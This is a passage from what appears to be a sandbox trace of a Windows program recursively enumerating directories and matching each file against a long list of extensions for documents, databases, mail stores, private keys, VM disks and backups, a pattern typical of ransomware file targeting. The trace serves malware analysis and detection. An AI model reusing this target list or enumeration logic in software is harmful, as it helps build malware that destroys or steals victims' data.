pszSpec="*.ost") returned 0 [0122.729] lstrlenA (lpString="*.ost") returned 5 [0122.729] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.idx") returned 0 [0122.730] lstrlenA (lpString="*.idx") returned 5 [0122.730] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.dbx") returned 0 [0122.730] lstrlenA (lpString="*.dbx") returned 5 [0122.730] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.sql") returned 0 [0122.730] lstrlenA (lpString="*.sql") returned 5 [0122.730] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.mdb") returned 0 [0122.730] lstrlenA (lpString="*.mdb") returned 5 [0122.730] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.fdb") returned 0 [0122.730] lstrlenA (lpString="*.fdb") returned 5 [0122.730] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.wab") returned 0 [0122.730] lstrlenA (lpString="*.wab") returned 5 [0122.730] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.dat") returned 0 [0122.730] lstrlenA (lpString="*.dat") returned 5 [0122.730] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.txt") returned 0 [0122.730] lstrlenA (lpString="*.txt") returned 5 [0122.730] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.jpeg") returned 0 [0122.730] lstrlenA (lpString="*.jpeg") returned 6 [0122.730] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.jpg") returned 0 [0122.730] lstrlenA (lpString="*.jpg") returned 5 [0122.731] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.png") returned 0 [0122.731] lstrlenA (lpString="*.png") returned 5 [0122.731] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.php") returned 0 [0122.731] lstrlenA (lpString="*.php") returned 5 [0122.731] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.cs") returned 0 [0122.731] lstrlenA (lpString="*.cs") returned 4 [0122.731] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.cpp") returned 0 [0122.731] lstrlenA (lpString="*.cpp") returned 5 [0122.731] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.rar") returned 0 [0122.731] lstrlenA (lpString="*.rar") returned 5 [0122.731] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.zip") returned 0 [0122.731] lstrlenA (lpString="*.zip") returned 5 [0122.731] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.html") returned 0 [0122.731] lstrlenA (lpString="*.html") returned 6 [0122.731] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.htm") returned 0 [0122.731] lstrlenA (lpString="*.htm") returned 5 [0122.731] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.xlsx") returned 0 [0122.731] lstrlenA (lpString="*.xlsx") returned 6 [0122.731] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.xls") returned 0 [0122.731] lstrlenA (lpString="*.xls") returned 5 [0122.732] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.mp4") returned 0 [0122.732] lstrlenA (lpString="*.mp4") returned 5 [0122.732] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.ppt") returned 0 [0122.732] lstrlenA (lpString="*.ppt") returned 5 [0122.732] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.pptx") returned 0 [0122.732] lstrlenA (lpString="*.pptx") returned 6 [0122.732] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.doc") returned 0 [0122.732] lstrlenA (lpString="*.doc") returned 5 [0122.732] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.dot") returned 0 [0122.732] lstrlenA (lpString="*.dot") returned 5 [0122.732] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.docx") returned 0 [0122.732] lstrlenA (lpString="*.docx") returned 6 [0122.732] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.7z") returned 0 [0122.732] lstrlenA (lpString="*.7z") returned 4 [0122.732] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.tar") returned 0 [0122.732] lstrlenA (lpString="*.tar") returned 5 [0122.732] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.bz2") returned 0 [0122.732] lstrlenA (lpString="*.bz2") returned 5 [0122.733] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.gz") returned 0 [0122.733] lstrlenA (lpString="*.gz") returned 4 [0122.733] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.mkv") returned 0 [0122.733] lstrlenA (lpString="*.mkv") returned 5 [0122.733] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.eml") returned 0 [0122.733] lstrlenA (lpString="*.eml") returned 5 [0122.733] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.msg") returned 0 [0122.733] lstrlenA (lpString="*.msg") returned 5 [0122.733] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.edb") returned 0 [0122.733] lstrlenA (lpString="*.edb") returned 5 [0122.733] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.accdb") returned 0 [0122.733] lstrlenA (lpString="*.accdb") returned 7 [0122.733] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.odb") returned 0 [0122.733] lstrlenA (lpString="*.odb") returned 5 [0122.733] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.java") returned 0 [0122.733] lstrlenA (lpString="*.java") returned 6 [0122.733] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.asm") returned 0 [0122.733] lstrlenA (lpString="*.asm") returned 5 [0122.733] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.pfx") returned 0 [0122.733] lstrlenA (lpString="*.pfx") returned 5 [0122.733] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.pem") returned 0 [0122.733] lstrlenA (lpString="*.pem") returned 5 [0122.734] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.p12") returned 0 [0122.734] lstrlenA (lpString="*.p12") returned 5 [0122.734] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.gpg") returned 0 [0122.734] lstrlenA (lpString="*.gpg") returned 5 [0122.734] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.vsd") returned 0 [0122.734] lstrlenA (lpString="*.vsd") returned 5 [0122.734] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.odg") returned 0 [0122.734] lstrlenA (lpString="*.odg") returned 5 [0122.734] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.raw") returned 0 [0122.734] lstrlenA (lpString="*.raw") returned 5 [0122.734] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.nef") returned 0 [0122.734] lstrlenA (lpString="*.nef") returned 5 [0122.734] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.svg") returned 0 [0122.734] lstrlenA (lpString="*.svg") returned 5 [0122.734] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.psd") returned 0 [0122.734] lstrlenA (lpString="*.psd") returned 5 [0122.734] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.vmx") returned 0 [0122.734] lstrlenA (lpString="*.vmx") returned 5 [0122.734] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.vmdk") returned 0 [0122.735] lstrlenA (lpString="*.vmdk") returned 6 [0122.735] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.vdi") returned 0 [0122.735] lstrlenA (lpString="*.vdi") returned 5 [0122.740] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.lay6") returned 0 [0122.740] lstrlenA (lpString="*.lay6") returned 6 [0122.740] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.mpeg") returned 0 [0122.740] lstrlenA (lpString="*.mpeg") returned 6 [0122.740] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.djvu") returned 0 [0122.740] lstrlenA (lpString="*.djvu") returned 6 [0122.740] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.tiff") returned 0 [0122.740] lstrlenA (lpString="*.tiff") returned 6 [0122.740] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.backup") returned 0 [0122.740] lstrlenA (lpString="*.backup") returned 8 [0122.740] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.pdf") returned 0 [0122.740] lstrlenA (lpString="*.pdf") returned 5 [0122.741] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.cert") returned 0 [0122.741] lstrlenA (lpString="*.cert") returned 6 [0122.741] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.docm") returned 0 [0122.741] lstrlenA (lpString="*.docm") returned 6 [0122.741] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.xlsm") returned 0 [0122.741] lstrlenA (lpString="*.xlsm") returned 6 [0122.741] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.dwg") returned 0 [0122.741] lstrlenA (lpString="*.dwg") returned 5 [0122.741] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.nd") returned 0 [0122.741] lstrlenA (lpString="*.nd") returned 4 [0122.741] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.tlg") returned 0 [0122.741] lstrlenA (lpString="*.tlg") returned 5 [0122.741] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.lgb") returned 0 [0122.741] lstrlenA (lpString="*.lgb") returned 5 [0122.741] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.mov") returned 0 [0122.741] lstrlenA (lpString="*.mov") returned 5 [0122.741] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.xdw") returned 0 [0122.741] lstrlenA (lpString="*.xdw") returned 5 [0122.741] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.ods") returned 0 [0122.741] lstrlenA (lpString="*.ods") returned 5 [0122.741] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.wav") returned 0 [0122.741] lstrlenA (lpString="*.wav") returned 5 [0122.742] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.mp3") returned 0 [0122.742] lstrlenA (lpString="*.mp3") returned 5 [0122.742] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.aiff") returned 0 [0122.742] lstrlenA (lpString="*.aiff") returned 6 [0122.742] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.flac") returned 0 [0122.742] lstrlenA (lpString="*.flac") returned 6 [0122.742] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.m4a") returned 0 [0122.742] lstrlenA (lpString="*.m4a") returned 5 [0122.742] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll.aux", pszSpec="*.csv") returned 0 [0122.742] lstrlenA (lpString="*.csv") returned 5 [0122.742] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaefb6df0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xaefb6df0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xaefdcf50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x93c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Entity.Design.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0122.742] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0122.742] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb6df0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xaefdcf50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xaefdcf50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="d65f716bd16596ffb7bcc232635739bc", cAlternateFileName="D65F71~1")) returned 0 [0122.742] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0122.742] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86d29b50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x86d29b50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x86d29b50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Web.82d5542b#", cAlternateFileName="SYSTEM~1.82D")) returned 1 [0122.742] lstrcmpA (lpString1=".", lpString2="System.Web.82d5542b#") returned -1 [0122.742] lstrcmpA (lpString1="..", lpString2="System.Web.82d5542b#") returned -1 [0122.742] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0122.742] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Web.82d5542b#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#" [0122.743] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#") returned 67 [0122.743] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86d29b50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x86d29b50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x86d29b50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0122.747] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0122.747] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86d29b50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x86d29b50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x86d29b50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.747] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0122.747] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0122.747] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86d29b50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x86d29b50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x86d29b50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ed14a2ad91e9d66284b842858801736c", cAlternateFileName="ED14A2~1")) returned 1 [0122.748] lstrcmpA (lpString1=".", lpString2="ed14a2ad91e9d66284b842858801736c") returned -1 [0122.748] lstrcmpA (lpString1="..", lpString2="ed14a2ad91e9d66284b842858801736c") returned -1 [0122.748] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\*.*") returned="*.*" [0122.748] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\", lpString2="ed14a2ad91e9d66284b842858801736c" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c" [0122.748] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c") returned 100 [0122.748] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86d29b50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x86d29b50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x86d29b50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0122.779] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0122.779] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86d29b50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x86d29b50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x86d29b50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.779] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0122.779] lstrcmpA (lpString1="..", lpString2="..") returned 